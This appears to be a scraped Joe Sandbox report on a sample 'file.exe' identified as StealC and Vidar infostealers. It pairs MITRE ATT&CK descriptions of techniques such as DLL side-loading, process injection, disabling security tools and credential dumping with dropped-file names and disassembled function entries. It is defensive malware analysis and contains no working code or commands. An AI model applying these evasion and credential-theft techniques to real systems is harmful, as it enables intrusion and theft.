Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFCAAEHJDBKJJKFHJEBK

C:\ProgramData\CBGCBGCAFIIECBFIDHIJ

C:\ProgramData\ECBGCGCGIEGCBFHIIEBFCAFHIE

C:\ProgramData\FHDHCAAKECFIDHIEBAKF

C:\ProgramData\HIDAFHDHCBGDGCBGCGIIEHIDBF

C:\ProgramData\IEHIIIJD

C:\ProgramData\JDGIIJJDHDGCGDHIJDAKJKKKFH

C:\ProgramData\JJDBFCAEBFIJJKFHDAECGDAEGI

C:\ProgramData\KECFIDGC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00889860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 008745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0087BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CA935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00884910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00874880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00889C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00877710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre